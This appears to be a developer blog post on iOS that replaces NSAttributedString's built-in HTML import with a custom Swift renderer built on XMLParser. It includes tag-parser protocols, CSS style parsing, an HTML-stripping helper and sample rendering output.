Supplementing the performance part, actual tests show that directly using NSAttributedString DocumentType.html and implementing the rendering method yourself has a speed difference of 5 to 20 times.

Better

Since it is for App use, a better approach should be based on App development methods. For Apps, the cost of adjusting requirements is much higher than for the Web; effective App development should be based on iterative adjustments with specifications. At the moment, we need to confirm the specifications that can be supported. If we need to change them later, we will schedule time to expand the specifications. We cannot quickly change them as we wish, which can reduce communication costs and increase work efficiency.

  • Confirm the scope of requirements
  • Confirm the supported specifications
  • Confirm the interface specifications (Markdown/BBCode/… can continue to use HTML, but it must be constrained, such as only using <b>/<i>/<a>/<u>, and it must be explicitly informed to the developers in the program)
  • Implement the rendering mechanism yourself
  • Maintain and iteratively support the specifications

[2023/02/27 Updated] [TL;DR]:

Updated approach, no longer using XMLParser, due to zero tolerance for errors:

<br> / <Congratulation!> / <b>Bold<i>Bold+Italic</b>Italic</i> The above three possible scenarios will all cause XMLParser to throw an error and display blank. Using XMLParser, the HTML string must fully comply with XML rules, unlike browsers or NSAttributedString.DocumentType.html which can tolerate errors and display normally.

Switch to pure Swift development, parsing HTML tags through Regex and Tokenization, analyzing and correcting tag correctness (correcting tags without end & misplaced tags), then converting them into an abstract syntax tree, and finally using the Visitor Pattern to map HTML tags to abstract styles, obtaining the final NSAttributedString result; without relying on any Parser Lib.

— —

How?

The die is cast, back to the main topic. Currently, we are using HTML to render NSAttributedString, so how do we solve the above crash and performance issues?

Inspired by

Strip HTML

Before talking about HTML Render, let’s talk about Strip HTML again. As mentioned in the Why? section, where the App will get HTML and what kind of HTML it will get should be specified in the specifications; rather than the App “ possibly “ getting HTML and needing to strip it.

As a former supervisor said: Isn’t this too crazy?

Option 1. NSAttributedString

1
+2
+3
+
let data = "<div>Text</div>".data(using: .unicode)!
+let attributed = try NSAttributedString(data: data, options: [.documentType: NSAttributedString.DocumentType.html, .characterEncoding: String.Encoding.utf8.rawValue], documentAttributes: nil)
+let string = attributed.string
+
  • Use NSAttributedString to render HTML and then extract the string to get a clean String
  • The same issues as in this chapter, iOS 15 is prone to crashes, poor performance, and can only be operated on the Main Thread

Option 2. Regex

1
+2
+
htmlString = "<div>Test</div>"
+htmlString.replacingOccurrences(of: "<[^>]+>", with: "", options: .regularExpression, range: nil)
+
  • The simplest and most effective way
  • Regex cannot guarantee complete correctness e.g. <p foo=">now what?">Paragraph</p> is valid HTML but will be stripped incorrectly

Option 3. XMLParser

Refer to the approach of SwiftRichString, using XMLParser from Foundation to parse HTML as XML and implement HTML Parser & Strip functionality.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+
import UIKit
+// Ref: https://github.com/malcommac/SwiftRichString
+final class HTMLStripper: NSObject, XMLParserDelegate {
+
+    private static let topTag = "source"
+    private var xmlParser: XMLParser
+    
+    private(set) var storedString: String
+    
+    // The XML parser sometimes splits strings, which can break localization-sensitive
+    // string transforms. Work around this by using the currentString variable to
+    // accumulate partial strings, and then reading them back out as a single string
+    // when the current element ends, or when a new one is started.
+    private var currentString: String?
+    
+    // MARK: - Initialization
+
+    init(string: String) throws {
+        let xmlString = HTMLStripper.escapeWithUnicodeEntities(string)
+        let xml = "<\(HTMLStripper.topTag)>\(xmlString)</\(HTMLStripper.topTag)>"
+        guard let data = xml.data(using: String.Encoding.utf8) else {
+            throw XMLParserInitError("Unable to convert to UTF8")
+        }
+        
+        self.xmlParser = XMLParser(data: data)
+        self.storedString = ""
+        
+        super.init()
+        
+        xmlParser.shouldProcessNamespaces = false
+        xmlParser.shouldReportNamespacePrefixes = false
+        xmlParser.shouldResolveExternalEntities = false
+        xmlParser.delegate = self
+    }
+    
+    /// Parse and generate attributed string.
+    func parse() throws -> String {
+        guard xmlParser.parse() else {
+            let line = xmlParser.lineNumber
+            let shiftColumn = (line == 1)
+            let shiftSize = HTMLStripper.topTag.lengthOfBytes(using: String.Encoding.utf8) + 2
+            let column = xmlParser.columnNumber - (shiftColumn ? shiftSize : 0)
+            
+            throw XMLParserError(parserError: xmlParser.parserError, line: line, column: column)
+        }
+        
+        return storedString
+    }
+    
+    // MARK: XMLParserDelegate
+    
+    @objc func parser(_ parser: XMLParser, didStartElement elementName: String, namespaceURI: String?, qualifiedName qName: String?, attributes attributeDict: [String: String]) {
+        foundNewString()
+    }
+    
+    @objc func parser(_ parser: XMLParser, didEndElement elementName: String, namespaceURI: String?, qualifiedName qName: String?) {
+        foundNewString()
+    }
+    
+    @objc func parser(_ parser: XMLParser, foundCharacters string: String) {
+        currentString = (currentString ?? "").appending(string)
+    }
+    
+    // MARK: Support Private Methods
+    
+    func foundNewString() {
+        if let currentString = currentString {
+            storedString.append(currentString)
+            self.currentString = nil
+        }
+    }
+    
+    // handle html entity / html hex
+    // Perform string escaping to replace all characters which is not supported by NSXMLParser
+    // into the specified encoding with decimal entity.
+    // For example if your string contains '&' character parser will break the style.
+    // This option is active by default.
+    // ref: https://github.com/malcommac/SwiftRichString/blob/e0b72d5c96968d7802856d2be096202c9798e8d1/Sources/SwiftRichString/Support/XMLStringBuilder.swift
+    static func escapeWithUnicodeEntities(_ string: String) -> String {
+        guard let escapeAmpRegExp = try? NSRegularExpression(pattern: "&(?!(#[0-9]{2,4}|[A-z]{2,6});)", options: NSRegularExpression.Options(rawValue: 0)) else {
+            return string
+        }
+        
+        let range = NSRange(location: 0, length: string.count)
+        return escapeAmpRegExp.stringByReplacingMatches(in: string,
+                                                        options: NSRegularExpression.MatchingOptions(rawValue: 0),
+                                                        range: range,
+                                                        withTemplate: "&amp;")
+    }
+}
+
+
+let test = "我<br/><a href=\"http://google.com\">同意</a>提供<b><i>個</i>人</b>身分證字號/護照/居留<span style=\"color:#FF0000;font-size:20px;word-spacing:10px;line-height:10px\">證號碼</span>,以供<i>跨境物流</i>方通關<span style=\"background-color:#00FF00;\">使用</span>,並已<img src=\"g.png\"/>了解跨境<br/>商品之物<p>流需</p>求"
+
+let stripper = try HTMLStripper(string: test)
+print(try! stripper.parse())
+
+// I agree to provide personal ID number/passport/residence permit number for cross-border logistics customs clearance, and have understood the logistics requirements of cross-border goods.
+

Using Foundation XML Parser to handle String, implement XMLParserDelegate using currentString to store String, since String may sometimes be split into multiple Strings, foundCharacters might be called repeatedly. didStartElement and didEndElement are used to find the start and end of the string, storing the current result and clearing currentString.

  • The advantage is that it also converts HTML Entity to actual characters e.g. &#103; -> g
  • The disadvantage is that it is complex to implement and will fail with XMLParser when encountering non-compliant HTML e.g. <br> should be written as <br/>

Personally, I think Option 2 is a better method for simply stripping HTML. This method is introduced because rendering HTML also uses the same principle. Let’s use this as a simple example :)

HTML Render w/XMLParser

Using XMLParser to implement it yourself, following the same principle as stripping, we can add corresponding rendering methods when parsing certain tags.

Requirements:

  • Support for extending the tags to be parsed
  • Support for setting Tag Default Style e.g. applying link style to <a> Tag
  • Support for parsing style attributes, as HTML will explicitly indicate the style to be displayed in style="color:red"
  • Style support for changing text weight, size, underline, line spacing, letter spacing, background color, text color
  • Does not support Image Tag, Table Tag, etc., more complex TAGs

You can reduce functionality according to your own requirements, for example, if you don’t need to support background color adjustment, you don’t need to open the setting for background color.

This article is just a conceptual implementation, not the best practice in architecture; if you have clear specifications and usage, you can consider applying some Design Patterns to achieve good maintainability and extensibility.

⚠️⚠️⚠️ Attention ⚠️⚠️⚠️

Again, if your App is new or has the opportunity to switch entirely to Markdown format, it is recommended to adopt the above method. Writing your own renderer is too complex and will not perform better than Markdown.

Even if you are on iOS < 15 and do not support native Markdown, you can still find a great Markdown Parser solution on Github.

HTMLTagParser

1
+2
+3
+4
+5
+6
+7
+
protocol HTMLTagParser {
+    static var tag: String { get } // Declare the Tag Name to be parsed, e.g. a
+    var storedHTMLAttributes: [String: String]? { get set } // The parsed attributes will be stored here, e.g. href, style
+    var style: AttributedStringStyle? { get } // The style to be applied to this Tag
+    
+    func render(attributedString: inout NSMutableAttributedString) // Implement the logic to render HTML to attributedString
+}
+

Declare the analyzable HTML Tag entity for easy extension and management.

AttributedStringStyle

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+
protocol AttributedStringStyle {
+    var font: UIFont? { get set }
+    var color: UIColor? { get set }
+    var backgroundColor: UIColor? { get set }
+    var wordSpacing: CGFloat? { get set }
+    var paragraphStyle: NSParagraphStyle? { get set }
+    var customs: [NSAttributedString.Key: Any]? { get set } // Universal setting, it is recommended to abstract it out after confirming the supported specifications and close this opening
+    func render(attributedString: inout NSMutableAttributedString)
+}
+
+// abstract implement
+extension AttributedStringStyle {
+    func render(attributedString: inout NSMutableAttributedString) {
+        let range = NSMakeRange(0, attributedString.length)
+        if let font = font {
+            attributedString.addAttribute(NSAttributedString.Key.font, value: font, range: range)
+        }
+        if let color = color {
+            attributedString.addAttribute(NSAttributedString.Key.foregroundColor, value: color, range: range)
+        }
+        if let backgroundColor = backgroundColor {
+            attributedString.addAttribute(NSAttributedString.Key.backgroundColor, value: backgroundColor, range: range)
+        }
+        if let wordSpacing = wordSpacing {
+            attributedString.addAttribute(NSAttributedString.Key.kern, value: wordSpacing as Any, range: range)
+        }
+        if let paragraphStyle = paragraphStyle {
+            attributedString.addAttribute(NSAttributedString.Key.paragraphStyle, value: paragraphStyle, range: range)
+        }
+        if let customAttributes = customs {
+            attributedString.addAttributes(customAttributes, range: range)
+        }
+    }
+}
+

Declare the styles that can be set for the Tag.

HTMLStyleAttributedParser

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+
// only support tag attributed down below
+// can set color,font size,line height,word spacing,background color
+
+enum HTMLStyleAttributedParser: String {
+    case color = "color"
+    case fontSize = "font-size"
+    case lineHeight = "line-height"
+    case wordSpacing = "word-spacing"
+    case backgroundColor = "background-color"
+    
+    func render(attributedString: inout NSMutableAttributedString, value: String) -> Bool {
+        let range = NSMakeRange(0, attributedString.length)
+        switch self {
+        case .color:
+            if let color = convertToiOSColor(value) {
+                attributedString.addAttribute(NSAttributedString.Key.foregroundColor, value: color, range: range)
+                return true
+            }
+        case .backgroundColor:
+            if let color = convertToiOSColor(value) {
+                attributedString.addAttribute(NSAttributedString.Key.backgroundColor, value: color, range: range)
+                return true
+            }
+        case .fontSize:
+            if let size = convertToiOSSize(value) {
+                attributedString.addAttribute(NSAttributedString.Key.font, value: UIFont.systemFont(ofSize: CGFloat(size)), range: range)
+                return true
+            }
+        case .lineHeight:
+            if let size = convertToiOSSize(value) {
+                let paragraphStyle = NSMutableParagraphStyle()
+                paragraphStyle.lineSpacing = size
+                attributedString.addAttribute(NSAttributedString.Key.paragraphStyle, value: paragraphStyle, range: range)
+                return true
+            }
+        case .wordSpacing:
+            if let size = convertToiOSSize(value) {
+                attributedString.addAttribute(NSAttributedString.Key.kern, value: size, range: range)
+                return true
+            }
+        }
+        
+        return false
+    }
+    
+    // convert 36px -> 36
+    private func convertToiOSSize(_ string: String) -> CGFloat? {
+        guard let regex = try? NSRegularExpression(pattern: "^([0-9]+)"),
+              let firstMatch = regex.firstMatch(in: string, options: [], range: NSRange(location: 0, length: string.utf16.count)),
+              let range = Range(firstMatch.range, in: string),
+              let size = Float(String(string[range])) else {
+            return nil
+        }
+        return CGFloat(size)
+    }
+    
+    // convert html hex color #ffffff to UIKit Color
+    private func convertToiOSColor(_ hexString: String) -> UIColor? {
+        var cString: String = hexString.trimmingCharacters(in: .whitespacesAndNewlines).uppercased()
+
+        if cString.hasPrefix("#") {
+            cString.remove(at: cString.startIndex)
+        }
+
+        if (cString.count) != 6 {
+            return nil
+        }
+
+        var rgbValue: UInt64 = 0
+        Scanner(string: cString).scanHexInt64(&rgbValue)
+
+        return UIColor(
+            red: CGFloat((rgbValue & 0xFF0000) >> 16) / 255.0,
+            green: CGFloat((rgbValue & 0x00FF00) >> 8) / 255.0,
+            blue: CGFloat(rgbValue & 0x0000FF) / 255.0,
+            alpha: CGFloat(1.0)
+        )
+    }
+}
+

Implement Style Attributed Parser to parse style="color:red;font-size:16px" but CSS Style has many configurable styles, so it is necessary to enumerate the supported range.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+
extension HTMLTagParser {
+
+    func render(attributedString: inout NSMutableAttributedString) {
+        defaultStyleRender(attributedString: &attributedString)
+    }
+    
+    func defaultStyleRender(attributedString: inout NSMutableAttributedString) {
+        // setup default style to NSMutableAttributedString
+        style?.render(attributedString: &attributedString)
+        
+        // setup & override HTML style (style="color:red;background-color:black") to NSMutableAttributedString if is exists
+        // any html tag can have style attribute
+        if let style = storedHTMLAttributes?["style"] {
+            let styles = style.split(separator: ";").map { $0.split(separator: ":") }.filter { $0.count == 2 }
+            for style in styles {
+                let key = String(style[0])
+                let value = String(style[1])
+                
+                if let styleAttributed = HTMLStyleAttributedParser(rawValue: key), styleAttributed.render(attributedString: &attributedString, value: value) {
+                    print("Unsupported style attributed or value[\(key):\(value)]")
+                }
+            }
+        }
+    }
+}
+

Apply HTMLStyleAttributedParser & HTMLStyleAttributedParser abstract implementation.

Some examples of Tag Parser & AttributedStringStyle implementation

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+
struct LinkStyle: AttributedStringStyle {
+   var font: UIFont? = UIFont.systemFont(ofSize: 14)
+   var color: UIColor? = UIColor.blue
+   var backgroundColor: UIColor? = nil
+   var wordSpacing: CGFloat? = nil
+   var paragraphStyle: NSParagraphStyle?
+   var customs: [NSAttributedString.Key: Any]? = [.underlineStyle: NSUnderlineStyle.single.rawValue]
+}
+
+struct ATagParser: HTMLTagParser {
+    // <a></a>
+    static let tag: String = "a"
+    var storedHTMLAttributes: [String: String]? = nil
+    let style: AttributedStringStyle? = LinkStyle()
+    
+    func render(attributedString: inout NSMutableAttributedString) {
+        defaultStyleRender(attributedString: &attributedString)
+        if let href = storedHTMLAttributes?["href"], let url = URL(string: href) {
+            let range = NSMakeRange(0, attributedString.length)
+            attributedString.addAttribute(NSAttributedString.Key.link, value: url, range: range)
+        }
+    }
+}
+struct BoldStyle: AttributedStringStyle {
+   var font: UIFont? = UIFont.systemFont(ofSize: 14, weight: .bold)
+   var color: UIColor? = UIColor.black
+   var backgroundColor: UIColor? = nil
+   var wordSpacing: CGFloat? = nil
+   var paragraphStyle: NSParagraphStyle?
+   var customs: [NSAttributedString.Key: Any]? = [.underlineStyle: NSUnderlineStyle.single.rawValue]
+}
+
+struct BoldTagParser: HTMLTagParser {
+    // <b></b>
+    static let tag: String = "b"
+    var storedHTMLAttributes: [String: String]? = nil
+    let style: AttributedStringStyle? = BoldStyle()
+}
+

HTMLToAttributedStringParser: XMLParserDelegate core implementation

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+112
+113
+114
+115
+116
+117
+118
+119
+120
+121
+122
+123
+124
+125
+126
+127
+128
+129
+130
+131
+132
+133
+134
+135
+136
+137
+138
+139
+140
+141
+142
+143
+144
+145
+146
+147
+148
+149
+150
+151
+152
+153
+154
+155
+156
+157
+158
+159
+160
+161
+
// Ref: https://github.com/malcommac/SwiftRichString
+final class HTMLToAttributedStringParser: NSObject {
+    
+    private static let topTag = "source"
+    private var xmlParser: XMLParser?
+    
+    private(set) var attributedString: NSMutableAttributedString = NSMutableAttributedString()
+    private(set) var supportedTagRenders: [HTMLTagParser] = []
+    private let defaultStyle: AttributedStringStyle
+    
+    /// Styles applied at each fragment.
+    private var renderingTagRenders: [HTMLTagParser] = []
+
+    // The XML parser sometimes splits strings, which can break localization-sensitive
+    // string transforms. Work around this by using the currentString variable to
+    // accumulate partial strings, and then reading them back out as a single string
+    // when the current element ends, or when a new one is started.
+    private var currentString: String?
+    
+    // MARK: - Initialization
+
+    init(defaultStyle: AttributedStringStyle) {
+        self.defaultStyle = defaultStyle
+        super.init()
+    }
+    
+    func register(_ tagRender: HTMLTagParser) {
+        if let index = supportedTagRenders.firstIndex(where: { type(of: $0).tag == type(of: tagRender).tag }) {
+            supportedTagRenders.remove(at: index)
+        }
+        supportedTagRenders.append(tagRender)
+    }
+    
+    /// Parse and generate attributed string.
+    func parse(string: String) throws -> NSAttributedString {
+        var xmlString = HTMLToAttributedStringParser.escapeWithUnicodeEntities(string)
+        
+        // make sure <br/> format is correct XML
+        // because Web may use <br> to present <br/>, but <br> is not a valid XML
+        xmlString = xmlString.replacingOccurrences(of: "<br>", with: "<br/>")
+        
+        let xml = "<\(HTMLToAttributedStringParser.topTag)>\(xmlString)</\(HTMLToAttributedStringParser.topTag)>"
+        guard let data = xml.data(using: String.Encoding.utf8) else {
+            throw XMLParserInitError("Unable to convert to UTF8")
+        }
+        
+        let xmlParser = XMLParser(data: data)
+        xmlParser.shouldProcessNamespaces = false
+        xmlParser.shouldReportNamespacePrefixes = false
+        xmlParser.shouldResolveExternalEntities = false
+        xmlParser.delegate = self
+        self.xmlParser = xmlParser
+        
+        attributedString = NSMutableAttributedString()
+        
+        guard xmlParser.parse() else {
+            let line = xmlParser.lineNumber
+            let shiftColumn = (line == 1)
+            let shiftSize = HTMLToAttributedStringParser.topTag.lengthOfBytes(using: String.Encoding.utf8) + 2
+            let column = xmlParser.columnNumber - (shiftColumn ? shiftSize : 0)
+            
+            throw XMLParserError(parserError: xmlParser.parserError, line: line, column: column)
+        }
+        
+        return attributedString
+    }
+}
+
+// MARK: Private Method
+
+private extension HTMLToAttributedStringParser {
+    func enter(element elementName: String, attributes: [String: String]) {
+        // elementName = tagName, EX: a,span,div...
+        guard elementName != HTMLToAttributedStringParser.topTag else {
+            return
+        }
+        
+        if let index = supportedTagRenders.firstIndex(where: { type(of: $0).tag == elementName }) {
+            var tagRender = supportedTagRenders[index]
+            tagRender.storedHTMLAttributes = attributes
+            renderingTagRenders.append(tagRender)
+        }
+    }
+    
+    func exit(element elementName: String) {
+        if !renderingTagRenders.isEmpty {
+            renderingTagRenders.removeLast()
+        }
+    }
+    
+    func foundNewString() {
+        if let currentString = currentString {
+            // currentString != nil ,ex: <i>currentString</i>
+            var newAttributedString = NSMutableAttributedString(string: currentString)
+            if !renderingTagRenders.isEmpty {
+                for (key, tagRender) in renderingTagRenders.enumerated() {
+                    // Render Style
+                    tagRender.render(attributedString: &newAttributedString)
+                    renderingTagRenders[key].storedHTMLAttributes = nil
+                }
+            } else {
+                defaultStyle.render(attributedString: &newAttributedString)
+            }
+            attributedString.append(newAttributedString)
+            self.currentString = nil
+        } else {
+            // currentString == nil ,ex: <br/>
+            var newAttributedString = NSMutableAttributedString()
+            for (key, tagRender) in renderingTagRenders.enumerated() {
+                // Render Style
+                tagRender.render(attributedString: &newAttributedString)
+                renderingTagRenders[key].storedHTMLAttributes = nil
+            }
+            attributedString.append(newAttributedString)
+        }
+    }
+}
+
+// MARK: Helper
+
+extension HTMLToAttributedStringParser {
+    // handle html entity / html hex
+    // Perform string escaping to replace all characters which is not supported by NSXMLParser
+    // into the specified encoding with decimal entity.
+    // For example if your string contains '&' character parser will break the style.
+    // This option is active by default.
+    // ref: https://github.com/malcommac/SwiftRichString/blob/e0b72d5c96968d7802856d2be096202c9798e8d1/Sources/SwiftRichString/Support/XMLStringBuilder.swift
+    static func escapeWithUnicodeEntities(_ string: String) -> String {
+        guard let escapeAmpRegExp = try? NSRegularExpression(pattern: "&(?!(#[0-9]{2,4}|[A-z]{2,6});)", options: NSRegularExpression.Options(rawValue: 0)) else {
+            return string
+        }
+        
+        let range = NSRange(location: 0, length: string.count)
+        return escapeAmpRegExp.stringByReplacingMatches(in: string,
+                                                        options: NSRegularExpression.MatchingOptions(rawValue: 0),
+                                                        range: range,
+                                                        withTemplate: "&amp;")
+    }
+}
+
+// MARK: XMLParserDelegate
+
+extension HTMLToAttributedStringParser: XMLParserDelegate {
+    func parser(_ parser: XMLParser, didStartElement elementName: String, namespaceURI: String?, qualifiedName qName: String?, attributes attributeDict: [String: String]) {
+        foundNewString()
+        enter(element: elementName, attributes: attributeDict)
+    }
+    
+    func parser(_ parser: XMLParser, didEndElement elementName: String, namespaceURI: String?, qualifiedName qName: String?) {
+        foundNewString()
+        guard elementName != HTMLToAttributedStringParser.topTag else {
+            return
+        }
+        
+        exit(element: elementName)
+    }
+    
+    func parser(_ parser: XMLParser, foundCharacters string: String) {
+        currentString = (currentString ?? "").appending(string)
+    }
+}
+

Applying the logic of Strip, we can combine the parsed structure by knowing the current Tag from elementName and applying the corresponding Tag Parser and defined Style.

Test Result

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+
let test = "我<br/><a href=\"http://google.com\">同意</a>提供<b><i>個</i>人</b>身分證字號/護照/居留<span style=\"color:#FF0000;font-size:20px;word-spacing:10px;line-height:10px\">證號碼</span>,以供<i>跨境物流</i>方通關<span style=\"background-color:#00FF00;\">使用</span>,並已<img src=\"g.png\"/>了解跨境<br/>商品之物<p>流需</p>求"
+let render = HTMLToAttributedStringParser(defaultStyle: DefaultTextStyle())
+render.register(ATagParser())
+render.register(BoldTagParser())
+render.register(SpanTagParser())
+//...
+print(try! render.parse(string: test))
+
+// Result:
+// 我{
+//     NSColor = "UIExtendedGrayColorSpace 0 1";
+//     NSFont = "\".SFNS-Regular 14.00 pt. P [] (0x13a012970) fobj=0x13a012970, spc=3.79\"";
+//     NSParagraphStyle = "Alignment 4, LineSpacing 3, ParagraphSpacing 0, ParagraphSpacingBefore 0, HeadIndent 0, TailIndent 0, FirstLineHeadIndent 0, LineHeight 0/0, LineHeightMultiple 0, LineBreakMode 0, Tabs (\n    28L,\n    56L,\n    84L,\n    112L,\n    140L,\n    168L,\n    196L,\n    224L,\n    252L,\n    280L,\n    308L,\n    336L\n), DefaultTabInterval 0, Blocks (\n), Lists (\n), BaseWritingDirection -1, HyphenationFactor 0, TighteningForTruncation NO, HeaderLevel 0 LineBreakStrategy 0 PresentationIntents (\n) ListIntentOrdinal 0 CodeBlockIntentLanguageHint ''";
+// }同意{
+//     NSColor = "UIExtendedSRGBColorSpace 0 0 1 1";
+//     NSFont = "\".SFNS-Regular 14.00 pt. P [] (0x13a012970) fobj=0x13a012970, spc=3.79\"";
+//     NSLink = "http://google.com";
+//     NSUnderline = 1;
+// }提供{
+//     NSColor = "UIExtendedGrayColorSpace 0 1";
+//     NSFont = "\".SFNS-Regular 14.00 pt. P [] (0x13a012970) fobj=0x13a012970, spc=3.79\"";
+//     NSParagraphStyle = "Alignment 4, LineSpacing 3, ParagraphSpacing 0, ParagraphSpacingBefore 0, HeadIndent 0, TailIndent 0, FirstLineHeadIndent 0, LineHeight 0/0, LineHeightMultiple 0, LineBreakMode 0, Tabs (\n    28L,\n    56L,\n    84L,\n    112L,\n    140L,\n    168L,\n    196L,\n    224L,\n    252L,\n    280L,\n    308L,\n    336L\n), DefaultTabInterval 0, Blocks (\n), Lists (\n), BaseWritingDirection -1, HyphenationFactor 0, TighteningForTruncation NO, HeaderLevel 0 LineBreakStrategy 0 PresentationIntents (\n) ListIntentOrdinal 0 CodeBlockIntentLanguageHint ''";
+// }個{
+//     NSColor = "UIExtendedGrayColorSpace 0 1";
+//     NSFont = "\".SFNS-Bold 14.00 pt. P [] (0x13a013870) fobj=0x13a013870, spc=3.46\"";
+//     NSUnderline = 1;
+// }人身分證字號/護照/居留{
+//     NSColor = "UIExtendedGrayColorSpace 0 1";
+//     NSFont = "\".SFNS-Regular 14.00 pt. P [] (0x13a012970) fobj=0x13a012970, spc=3.79\"";
+//     NSParagraphStyle = "Alignment 4, LineSpacing 3, ParagraphSpacing 0, ParagraphSpacingBefore 0, HeadIndent 0, TailIndent 0, FirstLineHeadIndent 0, LineHeight 0/0, LineHeightMultiple 0, LineBreakMode 0, Tabs (\n    28L,\n    56L,\n    84L,\n    112L,\n    140L,\n    168L,\n    196L,\n    224L,\n    252L,\n    280L,\n    308L,\n    336L\n), DefaultTabInterval 0, Blocks (\n), Lists (\n), BaseWritingDirection -1, HyphenationFactor 0, TighteningForTruncation NO, HeaderLevel 0 LineBreakStrategy 0 PresentationIntents (\n) ListIntentOrdinal 0 CodeBlockIntentLanguageHint ''";
+// }證號碼{
+//     NSColor = "UIExtendedSRGBColorSpace 1 0 0 1";
+//     NSFont = "\".SFNS-Regular 20.00 pt. P [] (0x13a015fa0) fobj=0x13a015fa0, spc=4.82\"";
+//     NSKern = 10;
+//     NSParagraphStyle = "Alignment 4, LineSpacing 10, ParagraphSpacing 0, ParagraphSpacingBefore 0, HeadIndent 0, TailIndent 0, FirstLineHeadIndent 0, LineHeight 0/0, LineHeightMultiple 0, LineBreakMode 0, Tabs (\n    28L,\n    56L,\n    84L,\n    112L,\n    140L,\n    168L,\n    196L,\n    224L,\n    252L,\n    280L,\n    308L,\n    336L\n), DefaultTabInterval 0, Blocks (\n), Lists (\n), BaseWritingDirection -1, HyphenationFactor 0, TighteningForTruncation NO, HeaderLevel 0 LineBreakStrategy 0 PresentationIntents (\n) ListIntentOrdinal 0 CodeBlockIntentLanguageHint ''";
+// },以供跨境物流方通關{
+//     NSColor = "UIExtendedGrayColorSpace 0 1";
+//     NSFont = "\".SFNS-Regular 14.00 pt. P [] (0x13a012970) fobj=0x13a012970, spc=3.79\"";
+//     NSParagraphStyle = "Alignment 4, LineSpacing 3, ParagraphSpacing 0, ParagraphSpacingBefore 0, HeadIndent 0, TailIndent 0, FirstLineHeadIndent 0, LineHeight 0/0, LineHeightMultiple 0, LineBreakMode 0, Tabs (\n    28L,\n    56L,\n    84L,\n    112L,\n    140L,\n    168L,\n    196L,\n    224L,\n    252L,\n    280L,\n    308L,\n    336L\n), DefaultTabInterval 0, Blocks (\n), Lists (\n), BaseWritingDirection -1, HyphenationFactor 0, TighteningForTruncation NO, HeaderLevel 0 LineBreakStrategy 0 PresentationIntents (\n) ListIntentOrdinal 0 CodeBlockIntentLanguageHint ''";
+// }使用{
+//     NSBackgroundColor = "UIExtendedSRGBColorSpace 0 1 0 1";
+//     NSColor = "UIExtendedGrayColorSpace 0 1";
+//     NSFont = "\".SFNS-Regular 14.00 pt. P [] (0x13a012970) fobj=0x13a012970, spc=3.79\"";
+//     NSParagraphStyle = "Alignment 4, LineSpacing 3, ParagraphSpacing 0, ParagraphSpacingBefore 0, HeadIndent 0, TailIndent 0, FirstLineHeadIndent 0, LineHeight 0/0, LineHeightMultiple 0, LineBreakMode 0, Tabs (\n    28L,\n    56L,\n    84L,\n    112L,\n    140L,\n    168L,\n    196L,\n    224L,\n    252L,\n    280L,\n    308L,\n    336L\n), DefaultTabInterval 0, Blocks (\n), Lists (\n), BaseWritingDirection -1, HyphenationFactor 0, TighteningForTruncation NO, HeaderLevel 0 LineBreakStrategy 0 PresentationIntents (\n) ListIntentOrdinal 0 CodeBlockIntentLanguageHint ''";
+// },並已了解跨境商品之物流需求{
+//     NSColor = "UIExtendedGrayColorSpace 0 1";
+//     NSFont = "\".SFNS-Regular 14.00 pt. P [] (0x13a012970) fobj=0x13a012970, spc=3.79\"";
+//     NSParagraphStyle = "Alignment 4, LineSpacing 3, ParagraphSpacing 0, ParagraphSpacingBefore 0, HeadIndent 0, TailIndent 0, FirstLineHeadIndent 0, LineHeight 0/0, LineHeightMultiple 0, LineBreakMode 0, Tabs (\n    28L,\n    56L,\n    84L,\n    112L,\n    140L,\n    168L,\n    196L,\n    224L,\n    252L,\n    280L,\n    308L,\n    336L\n), DefaultTabInterval 0, Blocks (\n), Lists (\n), BaseWritingDirection -1, HyphenationFactor 0, TighteningForTruncation NO, HeaderLevel 0 LineBreakStrategy 0 PresentationIntents (\n) ListIntentOrdinal 0 CodeBlockIntentLanguageHint ''";
+// }
+

Display Result:

Done!

We have now completed implementing the HTML Render function through XMLParser, maintaining both extensibility and specification. This allows us to manage and understand the types of string rendering supported by the current App from the code.

Complete Github Repo as follows

This article is also published on my personal Blog: [Click here to visit].

For any questions or feedback, feel free to contact me.

===

本文中文版本

===

